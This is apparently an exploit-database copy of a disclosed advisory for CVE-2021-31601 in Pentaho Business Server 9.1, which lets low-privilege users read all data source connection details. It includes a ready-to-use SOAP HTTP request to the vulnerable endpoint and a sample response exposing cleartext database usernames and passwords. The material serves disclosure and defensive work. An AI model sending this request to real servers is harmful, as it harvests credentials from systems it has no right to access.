Lucene search

K
zdtBlackHawk1337DAY-ID-37007
HistoryNov 07, 2021 - 12:00 a.m.

Pentaho Business Analytics / Pentaho Business Server 9.1 Insufficient Access Control Vulnerability

2021-11-0700:00:00
BlackHawk
0day.today
239

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:S/C:P/I:N/A:N

Pentaho implements a series of web services using the SOAP protocol to allow scripting interaction with the backend server. While most of the interfaces correctly implement ACL, the Data Source Management Service located at /pentaho/webservices/datasourceMgmtService allows low-privilege authenticated users to list the connection details of all data sources used by Pentaho.

Product: Pentaho Business Analytics / Pentaho Business Server
Vendor / Manufacturer: Hitachi Vantara
Affected Version(s): <= 9.1
Vulnerability Type: Insufficient Access Control of Data Source Management
Service
Solution Status: Fix Released on public GitHub repository
Manufacturer Notification:  8th February 2021
Solution Date: May 2021
Public Disclosure: 01 November 2021
CVE Reference: CVE-2021-31601
Author(s) of Advisory: Alberto Favero ( HawSec ) & Altion Malka

--- ### --- ### ---

Product Description:

Pentaho is business intelligence (BI) software that provides data
integration, OLAP services, reporting, information dashboards, data mining
and extract, transform, load (ETL) capabilities. Its headquarters are in
Orlando, Florida. Pentaho was acquired by Hitachi Data Systems in 2015 and
in 2017 became part of Hitachi Vantara.

( Source: https://en.wikipedia.org/wiki/Pentaho )

--- ### --- ### ---

Vulnerability Details:

Pentaho implements a series of web services using the SOAP protocol to
allow scripting interaction with the backend server. While most of the
interfaces correctly implement ACL, the Data Source Management Service
located at "/pentaho/webservices/datasourceMgmtService" allows
low-privilege authenticated users to list the connection details of all
data sources used by Pentaho.

--- ### --- ### ---

Proof of Concept (PoC):

See Ginger ( https://github.com/HawSec/ginger )

or

the following HTTP calls demonstrate how an authenticated user can retrieve
the details of all available Pentaho Data Sources including, but not
limited to, the cleartext username and password credentials.

--- ~~~ --- ~~~ ---
POST /pentaho/webservices/datasourceMgmtService HTTP/1.1
Host: localhost:8080
Connection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Cookie: JSESSIONID=01AA03014DA08209368E158FCEF0497D;
session-expiry=1617398748958;
server-time=1617391548958
Content-Length: 251
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:web="http://webservices.repository.platform.pentaho.org/">
<soapenv:Header/>
<soapenv:Body>
<web:getDatasources/>
</soapenv:Body>
</soapenv:Envelope>


HTTP/1.1 200
Connection: close
Set-Cookie: session-expiry=1617398821337; Path=/
Set-Cookie: server-time=1617391621337; Path=/
Content-Type: text/xml;charset=utf-8
Date: Fri, 02 Apr 2021 19:27:08 GMT
Content-Length: 5028
<?xml version='1.0' encoding='UTF-8'?>
<S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">
<S:Body>
<ns2:getDatasourcesResponse
xmlns:ns2="http://webservices.repository.platform.pentaho.org/">
<return>
<accessType>NATIVE</accessType>
<accessTypeValue>NATIVE</accessTypeValue>
<changed>false</changed>
<connectSql></connectSql>
<connectionPoolingProperties/>
<databaseName>pentaho-instaview</databaseName>
<databasePort>50006</databasePort>
<databaseType>MONETDB</databaseType>
<forcingIdentifiersToLowerCase>false</forcingIdentifiersToLowerCase>
<forcingIdentifiersToUpperCase>false</forcingIdentifiersToUpperCase>
<hostname>localhost</hostname>
<id>bb7ce3b4-8aeb-4270-a02d-8cf072338305</id>
<initialPoolSize>5</initialPoolSize>
<maximumPoolSize>10</maximumPoolSize>
<name>AgileBI</name>
<partitioned>false</partitioned>
<password>monetdb</password>
<quoteAllFields>false</quoteAllFields>
<streamingResults>false</streamingResults>
<username>monetdb</username>
<usingConnectionPool>false</usingConnectionPool>
<usingDoubleDecimalAsSchemaTableSeparator>false</usingDoubleDecimalAsSchemaTableSepa
rator>
</return>
[...]
[...]
<return>
<accessType>JNDI</accessType>
<accessTypeValue>JNDI</accessTypeValue>
<changed>false</changed>
<connectSql></connectSql>
<connectionPoolingProperties/>
<dataTablespace></dataTablespace>
<databaseName>PDI_Operations_Mart</databaseName>
<databasePort>5432</databasePort>
<databaseType>POSTGRESQL</databaseType>
<forcingIdentifiersToLowerCase>false</forcingIdentifiersToLowerCase>
<forcingIdentifiersToUpperCase>false</forcingIdentifiersToUpperCase>
<hostname>localhost</hostname>
<id>363759ae-8efe-4ade-9fdd-e7b2f58883b5</id>
<indexTablespace></indexTablespace>
<informixServername></informixServername>
<initialPoolSize>0</initialPoolSize>
<maximumPoolSize>20</maximumPoolSize>
<name>pentaho_operations_mart</name>
<partitioned>false</partitioned>
<password>password</password>
<quoteAllFields>false</quoteAllFields>
<streamingResults>false</streamingResults>
<username>hibuser</username>
<usingConnectionPool>false</usingConnectionPool>
<usingDoubleDecimalAsSchemaTableSeparator>false</usingDoubleDecimalAsSchemaTableSepa
rator>
</return>
</ns2:getDatasourcesResponse>
</S:Body>
</S:Envelope>


--- ~~~ --- ~~~ ---


--- ### --- ### ---

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:S/C:P/I:N/A:N

Related for 1337DAY-ID-37007